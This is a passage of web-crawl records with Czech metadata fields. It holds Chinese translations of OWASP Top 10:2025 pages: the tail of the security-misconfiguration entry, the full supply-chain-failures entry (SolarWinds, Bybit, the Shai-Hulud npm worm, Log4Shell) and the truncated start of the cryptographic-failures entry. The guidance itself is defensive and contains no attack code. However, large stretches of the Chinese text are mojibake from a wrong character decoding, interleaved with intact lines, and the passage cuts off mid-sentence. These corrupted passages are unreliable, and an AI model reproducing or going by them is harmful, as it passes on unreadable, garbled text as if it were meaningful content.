ĺş”ç”¨ćœĺŠĄĺ™¨é™„ĺ¸Śçš„ç¤şäž‹ĺş”ç”¨ć˛Ąćœ‰äťŽç”Ÿäş§ćœĺŠĄĺ™¨ä¸­ç§ťé™¤ă€‚čż™äş›ç¤şäž‹ĺş”ç”¨ĺ­˜ĺœ¨ĺˇ˛çŸĽĺŽ‰ĺ…¨çźşé™ˇďźŒć”ťĺ‡ťč€…ĺŻĺˆŠç”¨ĺŽƒäťŹć”ťé™ˇćœĺŠĄĺ™¨ă€‚ĺ‡čŽžĺ…śä¸­ä¸€ä¸Şç¤şäž‹ĺş”ç”¨ć˜ŻçŽĄç†ćŽ§ĺˆśĺ°ďźŒä¸”éť˜čŽ¤č´Śćˆˇć˛Ąćœ‰äżŽć”šă€‚ć”ťĺ‡ťč€…ĺ°ąčƒ˝ä˝żç”¨éť˜čŽ¤ĺŻ†ç ç™ťĺ˝•ĺšśćŽĽçŽĄçłťçťŸă€‚\n\n**场景 #2:** 服务器未禁用目录列表。攻击者发现可以直接列出目录。他找到并下载编译后的 Java çąťć–‡äťśďźŒĺçź–čŻ‘ĺšśé€†ĺ‘ĺˇĽç¨‹ćŸĽçœ‹äťŁç ă€‚éšĺŽć”ťĺ‡ťč€…ĺœ¨ĺş”ç”¨ä¸­ĺ‘çŽ°ä¸Ľé‡čŽżé—ŽćŽ§ĺˆśçźşé™ˇă€‚\n\n**场景 #3:** ĺş”ç”¨ćœĺŠĄĺ™¨é…ç˝Žĺ…čŽ¸ĺ‘ç”¨ćˆˇčż”ĺ›žčŻŚçť†é”™čŻŻćśˆćŻďźŒäž‹ĺŚ‚ĺ †ć ˆčˇŸč¸Şă€‚čż™ĺŻčƒ˝ćš´éœ˛ć•ć„ŸäżĄćŻćˆ–ĺş•ĺą‚çźşé™ˇďźŒäž‹ĺŚ‚ĺˇ˛çŸĽć˜“ĺ—ć”ťĺ‡ťçš„çť„äťśç‰ˆćœŹă€‚\n\n**场景 #4:** 云服务提供商(CSP)默认将共享权限开放到互联网。这会允许云存储中的敏感数据被访问。\n\n## 参考资料\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V13 Configuration](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n- ScienceDirect: Security Misconfiguration\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-5 J2EE é…ç˝Žé”™čŻŻďźšć•°ćŽäź čž“ćœŞĺŠ ĺŻ†](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 ASP.NET 配置错误:创建调试二进制文件](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 ASP.NET é…ç˝Žé”™čŻŻďźšé…ç˝Žć–‡äťśä¸­ĺŒ…ĺŤĺŻ†ç ](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 系统或配置设置受外部控制](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 配置](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 é…ç˝Žć–‡äťśä¸­ĺŒ…ĺŤĺŻ†ç ](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 在 Cookie 中明文存储敏感信息](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 ćż€ć´ťçš„č°ƒčŻ•äťŁç ](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 通过环境变量暴露敏感信息](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 ä˝żç”¨çĄŹçź–ç çš„ĺŽ‰ĺ…¨ç›¸ĺ…łĺ¸¸é‡](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 XML 外部实体引用限制不当](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 HTTPS 会话中的敏感 Cookie 缺少 `Secure` 属性](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 DTD 中递归实体引用限制不当(XML 实体扩展)](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 对不可信域使用过宽松的跨域策略](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 敏感 Cookie 缺少 `HttpOnly` ć ‡ĺż—](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 ASP.NET 配置错误:模型验证不当](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 6434, "slov": 321, "odkazu": 57, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:19", "sha256": "3c5053b7c2d5b9d31b9c3fc9c672c32d7d65f26262e243571407bab2c3bd925f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 软件供应链失效 - OWASP Top 10:2025", "h1": "A03:2025 软件供应链失效", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 软件供应链失效"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A03:2025 软件供应链失效\n\n## 背景\n\n该类别在 Top 10 社区问卷中排名第一,正好有 50% 的受访者将其列为第 1 位。自 2013 ĺš´ Top 10 中首次以“A9 - 使用含有已知漏洞的组件”出现以来,该风险范围已经扩大到包括所有供应链失效,而不只是涉及已知漏洞的情况。尽管范围扩大,供应链失效仍然难以识别,只有 11 个通用漏洞与暴露(CVE)拥有相关 CWE。不过,一旦在贡献数据中被测试并报告,本类别的平均发生率最高,达到 5.19%。相关 CWE 包括 *CWE-477:使用过时函数*、*CWE-1104ďźšä˝żç”¨ć— äşşçť´ćŠ¤çš„çŹŹä¸‰ć–šçť„äťś*、*CWE-1329:依赖不可更新的组件* 和 *CWE-1395:依赖存在漏洞的第三方组件*。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9.56% | 5.72% | 65.42% | 27.47% | 8.17 | 5.23 | 215,248 | 11 |\n\n## 描述\n\nč˝Żäťśäž›ĺş”é“žĺ¤ąć•ˆć˜ŻćŒ‡ĺœ¨ćž„ĺťşă€ĺˆ†ĺ‘ćˆ–ć›´ć–°č˝Żäťśçš„čż‡ç¨‹ä¸­ĺ‘ç”Ÿć•…éšœćˆ–ĺ…śäť–ĺŚĽĺă€‚ĺŽƒäťŹé€šĺ¸¸ç”ąçŹŹä¸‰ć–šäťŁç ă€ĺˇĽĺ…ˇćˆ–çłťçťŸäžčľ–çš„ĺ…śäť–çť„äťśä¸­çš„ćźć´žćˆ–ćść„ĺ˜ć›´ĺź•čľˇă€‚\n\nĺŚ‚ćžœĺ‡şçŽ°äťĽä¸‹ćƒ…ĺ†ľďźŒä˝ ĺžˆĺŻčƒ˝ĺ­˜ĺœ¨éŁŽé™Šďźš\n\n- ć˛Ąćœ‰äť”çť†čˇŸč¸Şć‰€ç”¨ć‰€ćœ‰çť„äťśçš„ç‰ˆćœŹďźˆĺŽ˘ćˆˇçŤŻĺ’ŒćœĺŠĄçŤŻéƒ˝ĺŒ…ć‹Źďź‰ă€‚čż™ĺŒ…ć‹Źç›´ćŽĽä˝żç”¨çš„çť„äťśäťĽĺŠĺľŒĺĽ—çš„äź é€’äžčľ–ă€‚\n- 软件存在漏洞、不受支持或已经过时。这包括操作系统、Web/应用服务器、数据库管理系统(DBMS)、应用、API 和所有组件、运行时环境及库。\n- 没有定期扫描漏洞,也没有订阅与所用组件相关的安全公告。\n- 没有变更管理流程,或没有跟踪供应链内部的变更,包括 IDE、IDE ć‰Šĺą•ĺ’Œć›´ć–°ă€çť„çť‡äťŁç äť“ĺş“ĺ˜ć›´ă€ć˛™çŽąă€é•œĺƒĺ’Œĺş“äť“ĺş“ă€ĺˇĽäťśĺˆ›ĺťşĺ’Œĺ­˜ĺ‚¨ć–šĺźç­‰ă€‚äž›ĺş”é“žçš„ćŻä¸Şéƒ¨ĺˆ†éƒ˝ĺş”čŽ°ĺ˝•ďźŒĺ°¤ĺ…ść˜Żĺ˜ć›´ă€‚\n- ć˛Ąćœ‰ĺŠ ĺ›şäž›ĺş”é“žçš„ćŻä¸Şéƒ¨ĺˆ†ďźŒĺ°¤ĺ…ść˜ŻčŽżé—ŽćŽ§ĺˆśĺ’Œćœ€ĺ°ćƒé™ĺş”ç”¨ă€‚\n- äž›ĺş”é“žçłťçťŸć˛Ąćœ‰čŒč´Łĺˆ†çŚťă€‚äťťä˝•ä¸€ä¸Şäşşéƒ˝ä¸ĺş”čƒ˝ĺœ¨ć— äşşç›‘çŁçš„ćƒ…ĺ†ľä¸‹çź–ĺ†™äťŁç ĺšśä¸€čˇŻćŽ¨čż›ĺˆ°ç”Ÿäş§çŽŻĺ˘ƒă€‚\n- ĺœ¨ćŠ€ćœŻć ˆäťťä˝•éƒ¨ĺˆ†ä˝żç”¨ćĽč‡Şä¸ĺ—äżĄäťťćĽćşçš„çť„äťśďźŒćˆ–čż™äş›çť„äťśčƒ˝ĺ¤Ÿĺ˝ąĺ“ç”Ÿäş§çŽŻĺ˘ƒă€‚\n- 没有基于风险并及时修复或升级底层平台、框架和依赖。在补丁修复作为月度或季度变更控制任务执行的环境中,这种情况很常见,会让组织在漏洞修复前暴露数天或数月。\n- 软件开发人员没有测试已更新、升级或打补丁的库的兼容性。\n- 没有保护系统每个部分的配置(参见 [A02:2025-安全配置错误](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) )。\n- CI/CD 流水线的安全性弱于它构建和部署的系统,尤其是流水线复杂时。\n\n## 如何预防\n\n应建立补丁管理流程,用于:\n\n- 集中生成并管理整个软件的 Software Bill of MaterialsSBOM)。\n- ä¸ĺŞčˇŸč¸Şç›´ćŽĽäžčľ–ďźŒäšŸčˇŸč¸ŞĺŽƒäťŹçš„äź é€’äžčľ–ďźŒĺšśé€ĺą‚çť§çť­čˇŸč¸Şă€‚\n- 通过移除未使用依赖、不必要功能、组件、文件和文档来减少攻击面。\n- 使用 OWASP Dependency Track、OWASP Dependency Check、retire.js 等工具,持续盘点客户端和服务端组件(例如框架、库)及其依赖的版本。\n- 持续监控通用漏洞与暴露(CVE)、国家漏洞数据库(NVD)和 [开源漏洞(OSV)](https://osv.dev/) 等来源,发现所用组件中的漏洞。使用软件组成分析、软件供应链或面向安全的 SBOM 工具来自动化该流程。订阅与所用组件相关的安全漏洞告警。\n- 只通过安全链路从官方(可信)来源获取组件。优先使用签名包,以降低纳入被修改的恶意组件的可能性(参见 [A08:2025-软件和数据完整性失效](https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/) )。\n- 有意识地选择所使用的依赖版本,只在确有需要时升级。\n- ç›‘ćŽ§ć— äşşçť´ćŠ¤ćˆ–ä¸ĺ†ä¸şć—§ç‰ˆćœŹćäž›ĺŽ‰ĺ…¨čĄĽä¸çš„ĺş“ĺ’Œçť„äťśă€‚ĺŚ‚ćžœć— ćł•ć‰“čĄĽä¸ďźŒč€ƒč™‘čżç§ťĺˆ°ć›żäťŁć–šćĄˆă€‚ĺŚ‚ćžœäťä¸ĺŻčĄŒďźŒč€ƒč™‘éƒ¨ç˝˛č™šć‹ŸčĄĽä¸ćĽç›‘ćŽ§ă€ćŁ€ćľ‹ćˆ–é˜˛ćŠ¤ĺˇ˛ĺ‘çŽ°çš„é—Žé˘˜ă€‚\n- 定期更新 CI/CD、IDE 和其他开发者工具。\n- 避免同时向所有系统部署更新。使用分阶段发布或金丝雀发布,在可信供应商被攻陷时限制暴露范围。\n\n应建立变更管理流程或跟踪系统,用于跟踪以下内容的变更:\n\n- CI/CD 设置(所有构建工具和流水线)\n- äťŁç äť“ĺş“\n- 沙箱区域\n- 开发者 IDE\n- SBOM 工具及创建的工件\n- 日志系统和日志\n- 第三方集成,例如 SaaS\n- 工件仓库\n- 容器镜像仓库\n\nĺŠ ĺ›şäťĽä¸‹çłťçťŸďźŒĺŒ…ć‹ŹĺŻç”¨ MFA 并锁定 IAM:\n\n- äťŁç äť“ĺş“ďźˆĺŒ…ć‹Źä¸ćäş¤ secret、保护分支、备份)\n- 开发者工作站(定期打补丁、MFA、监控等)\n- 构建服务器和 CI/CD(职责分离、访问控制、签名构建、按环境限定的 secret、防篡改日志等)\n- 工件(通过来源证明、签名和时间戳确保完整性;在各环境中提升工件而不是重新构建;确保构建不可变)\n- ĺŸşçĄ€čŽžć–˝ĺłäťŁç ďźˆĺƒć‰€ćœ‰äťŁç ä¸€ć ˇçŽĄç†ďźŒĺŒ…ć‹Źä˝żç”¨ PR 和版本控制)\n\n每个组织都必须确保在应用或资产组合的整个生命周期中,持续监控、分级处理并应用更新或配置变更。\n\n## 攻击场景示例\n\n**场景 #1:** ĺŻäżĄäž›ĺş”ĺ•†č˘Ťćść„č˝Żäťść”ťé™ˇďźŒĺŻźč‡´ä˝ ĺ‡çş§ć—śčŽĄçŽ—ćœşçłťçťŸäšŸč˘Ťć”ťé™ˇă€‚ćœ€č‘—ĺçš„äž‹ĺ­ĺŻčƒ˝ć˜Żďźš\n\n- 2019 ĺš´ SolarWinds 攻陷事件,约 18,000 个组织受到影响。 [https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**场景 #2:** 可信供应商被攻陷,使其只在特定条件下表现出恶意行为。\n\n- 2025 ĺš´ Bybit 15 亿美元盗窃事件由 [钱包软件中的供应链攻击](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) ĺź•čľˇďźŒčŻĽć”ťĺ‡ťĺŞĺœ¨ç›Žć ‡é’ąĺŒ…č˘Ťä˝żç”¨ć—ść‰§čĄŒă€‚\n\n**场景 #3:** 2025 年的 [`Shai-Hulud` 供应链攻击](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)ć˜ŻéŚ–ä¸ŞćˆĺŠŸč‡Şäź ć’­çš„ npm č •č™Ťă€‚ć”ťĺ‡ťč€…ć¤ĺ…Ľçƒ­é—¨č˝ŻäťśĺŒ…çš„ćść„ç‰ˆćœŹďźŒĺšśĺˆŠç”¨ post-install č„šćœŹć”śé›†ć•ć„Ÿć•°ćŽĺšśĺ¤–äź ĺˆ°ĺ…Źĺź€ GitHub 仓库。该恶意软件还会检测受害环境中的 npm 令牌,并自动使用这些令牌向任何可访问的软件包推送恶意版本。在 npm é˜ťć–­ĺ‰ďźŒčŻĽč •č™Ťĺ˝ąĺ“äş†čś…čż‡ 500 ä¸Şč˝ŻäťśĺŒ…ç‰ˆćœŹă€‚čż™ćŹĄäž›ĺş”é“žć”ťĺ‡ťéŤ˜çş§ă€äź ć’­čż…é€Ÿă€ç ´ĺć€§ĺźşďźŒĺšśä¸”é€ščż‡çž„ĺ‡†ĺź€ĺ‘č€…ćœşĺ™¨čĄ¨ć˜ŽďźŒĺź€ĺ‘č€…ćœŹčşŤĺˇ˛çťćˆä¸şäž›ĺş”é“žć”ťĺ‡ťçš„éŚ–čŚç›Žć ‡ă€‚\n\n**场景 #4:** çť„äťśé€šĺ¸¸äťĽä¸Žĺş”ç”¨ćœŹčşŤç›¸ĺŒçš„ćƒé™čżčĄŒďźŒĺ› ć­¤äťťä˝•çť„äťśä¸­çš„çźşé™ˇéƒ˝ĺŻčƒ˝é€ ćˆä¸Ľé‡ĺ˝ąĺ“ă€‚ć­¤çąťçźşé™ˇĺŻčƒ˝ć˜Żć„ĺ¤–çš„ďźˆäž‹ĺŚ‚çź–ç é”™čŻŻďź‰ďźŒäšŸĺŻčƒ˝ć˜Żćœ‰ć„çš„ďźˆäž‹ĺŚ‚çť„äťśä¸­çš„ĺŽé—¨ďź‰ă€‚ä¸€äş›ĺˇ˛ĺ‘çŽ°çš„ĺŻĺˆŠç”¨çť„äťśćźć´žç¤şäž‹ĺŒ…ć‹Źďźš\n\n- CVE-2017-5638,Struts 2 čżœç¨‹äťŁç ć‰§čĄŒćźć´žďźŒĺ…čŽ¸ĺœ¨ćœĺŠĄĺ™¨ä¸Šć‰§čĄŒäťťć„äťŁç ďźŒĺšśč˘ŤčŽ¤ä¸şĺŻźč‡´äş†é‡ĺ¤§ĺŽ‰ĺ…¨äş‹äťśă€‚\n- CVE-2021-44228(“Log4Shell”),Apache Log4j čżœç¨‹äťŁç ć‰§čĄŒé›ść—Ľćźć´žďźŒč˘ŤčŽ¤ä¸şä¸Žĺ‹’ç´˘č˝Żäťśă€ĺŠ ĺŻ†č´§ĺ¸ćŒ–çŸżĺ’Œĺ…śäť–ć”ťĺ‡ťć´ťĺŠ¨ćœ‰ĺ…łă€‚\n\n## 参考资料\n\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://owasp-aasvs.readthedocs.io/en/latest/v1.html)\n- [OWASP Dependency Check (for Java and .NET libraries)](https://owasp.org/www-project-dependency-check/)\n- OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cve.org)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://retirejs.github.io/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- Ruby Libraries Security Advisory Database and Tools\n- [SAFECode Software Integrity Controls (PDF)](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [Glassworm supply chain attack](https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html)\n- [PhantomRaven supply chain attack campaign](https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-447 使用过时函数](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 2017 ĺš´ OWASP 十大 A9:使用含有已知漏洞的组件](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 ä˝żç”¨ć— äşşçť´ćŠ¤çš„çŹŹä¸‰ć–šçť„äťś](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 依赖不可更新的组件](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 依赖可信度不足的组件](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 依赖存在漏洞的第三方组件](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 9846, "slov": 501, "odkazu": 63, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:21", "sha256": "88a750309100376ae516c64d7ed2dcef2b7e1dd2cf9625889c70a18e8071a290", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://owasp-aasvs.readthedocs.io/en/latest/v1.html", "https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html", "https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A04_2025-Cryptographic_Failures/", "titulek": "A04 ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ - OWASP Top 10:2025", "h1": "A04:2025 ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A04_2025-Cryptographic_Failures/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A04:2025 ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ\n\n## 背景\n\n该弱点排名下降两位至第 4 ä˝ďźŒé‡ç‚šĺ…łćł¨çźşĺ°‘ĺŠ ĺŻ†ă€ĺŠ ĺŻ†ĺźşĺşŚä¸čśłă€ĺŠ ĺŻ†ĺŻ†é’Ľćł„éœ˛äťĽĺŠç›¸ĺ…łé”™čŻŻă€‚ĺœ¨ćœŹéŁŽé™Šä¸­ďźŒĺ‡ ä¸Şćœ€ĺ¸¸č§çš„é€šç”¨ĺźąç‚šćžšä¸žďźˆCWE)涉及使用弱伪随机数生成器:*CWE-327ďźšä˝żç”¨ĺˇ˛ç ´č§Łćˆ–ćœ‰éŁŽé™Šçš„ĺŠ ĺŻ†çŽ—ćł•*、*CWE-331:熵不足*、*CWE-1241:随机数生成器中使用可预测算法* 和 *CWE-338ďźšä˝żç”¨ĺŠ ĺŻ†ĺźşĺşŚä¸čśłçš„äźŞéšćœşć•°ç”Ÿćˆĺ™¨ďźˆPRNG)*。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13.77% | 3.80% | 100.00% | 47.74% | 7.23 | 3.90 | 1,665,348 | 2,185 |\n\n## 描述\n\nä¸€čˆŹč€Œč¨€ďźŒć‰€ćœ‰äź čž“ä¸­çš„ć•°ćŽéƒ˝ĺş”ĺœ¨[äź čž“ĺą‚](https://en.wikipedia.org/wiki/Transport_layer)[OSI 层](https://en.wikipedia.org/wiki/OSI_model)珏 4 ĺą‚ďź‰ĺŠ ĺŻ†ă€‚čż‡ĺŽťçš„éšœç˘ďźŒäž‹ĺŚ‚ CPU 性能和私钥/čŻäšŚçŽĄç†ďźŒçŽ°ĺœ¨ĺˇ˛çťĺ› CPU ĺ…ˇĺ¤‡ĺŠ é€ŸĺŠ ĺŻ†çš„ćŒ‡äť¤ďźˆäž‹ĺŚ‚ [AES 支持](https://en.wikipedia.org/wiki/AES_instruction_set)ďź‰č€Œçź“č§Łďź›ç§é’Ľĺ’ŒčŻäšŚçŽĄç†äšŸĺ› [LetsEncrypt.org](https://LetsEncrypt.org) 等服务而简化,主要云厂商还为各自平台提供了集成程度更高的证书管理服务。\n\né™¤äş†äżćŠ¤äź čž“ĺą‚ďźŒčż˜éœ€čŚĺˆ¤ć–­ĺ“Şäş›ć•°ćŽéœ€čŚé™ć€ĺŠ ĺŻ†ďźŒäťĽĺŠĺ“Şäş›ć•°ćŽéœ€čŚĺœ¨äź čž“ä¸­é˘ĺ¤–ĺŠ ĺŻ†ďźˆä˝äşŽ[应用层](https://en.wikipedia.org/wiki/Application_layer),OSI 珏 7 ĺą‚ďź‰ă€‚äž‹ĺŚ‚ďźŒĺŻ†ç ă€äżĄç”¨ĺĄĺˇă€ĺĽĺşˇčŽ°ĺ˝•ă€ä¸ŞäşşäżĄćŻĺ’Œĺ•†ä¸šç§˜ĺŻ†éƒ˝éœ€čŚé˘ĺ¤–äżćŠ¤ďźŒĺ°¤ĺ…ść˜Żčż™äş›ć•°ćŽĺ—éšç§ćł•ĺž‹ďźˆäž‹ĺŚ‚ćŹ§ç›Ÿă€Šé€šç”¨ć•°ćŽäżćŠ¤ćĄäž‹ă€‹ďźˆGDPR))或 PCI ć•°ćŽĺŽ‰ĺ…¨ć ‡ĺ‡†ďźˆPCI DSS)等法规约束时。对所有此类数据,应考虑:\n\n- ć˜ŻĺŚĺœ¨éť˜čŽ¤é…ç˝Žćˆ–ć—§äťŁç ä¸­ä˝żç”¨äş†čż‡ć—śćˆ–ĺźąĺŠ ĺŻ†çŽ—ćł•ćˆ–ĺčŽŽďźŸ\n- ć˜ŻĺŚä˝żç”¨éť˜čŽ¤ĺŠ ĺŻ†ĺŻ†é’Ľă€ç”ŸćˆĺźąĺŠ ĺŻ†ĺŻ†é’Ľă€é‡ĺ¤ä˝żç”¨ĺŻ†é’ĽďźŒćˆ–çźşĺ°‘é€‚ĺ˝“çš„ĺŻ†é’ĽçŽĄç†ĺ’Œč˝Žć˘ďźŸ\n- ĺŠ ĺŻ†ĺŻ†é’Ľć˜ŻĺŚč˘Ťćäş¤ĺˆ°ćşäťŁç äť“ĺş“ďźŸ\n- ć˜ŻĺŚćœŞĺźşĺˆśĺŠ ĺŻ†ďźŒäž‹ĺŚ‚ć˜ŻĺŚçźşĺ°‘äťťä˝• HTTP 头(浏览器)安全指令或头?\n- 是否正确验证接收到的服务器证书及其信任链?\n- ĺˆĺ§‹ĺŒ–ĺ‘é‡ć˜ŻĺŚč˘Ťĺż˝ç•Ľă€é‡ĺ¤ä˝żç”¨ďźŒćˆ–ćœŞćŒ‰ĺŠ ĺŻ†ć¨ĄĺźčŚćą‚čśłĺ¤ŸĺŽ‰ĺ…¨ĺœ°ç”ŸćˆďźŸć˜ŻĺŚä˝żç”¨äş† ECB 